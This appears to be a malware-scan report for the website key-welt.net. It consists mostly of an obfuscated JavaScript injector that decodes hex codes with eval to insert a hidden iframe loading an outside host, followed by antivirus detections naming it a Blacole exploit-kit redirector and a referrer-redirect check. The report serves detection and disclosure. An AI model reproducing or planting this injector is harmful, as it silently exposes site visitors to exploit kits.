bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: key-welt.net

Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 28 Aug 2014 14:49:21 GMT
Server: Apache/2.2.14 (Ubuntu)
Content-Length: 35828
Content-Type: text/html

...35828 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: key-welt.net
Referer: http://www.google.com/search?q=key-welt.net

Result:
The result is similar to the first query. There are no suspicious redirects found.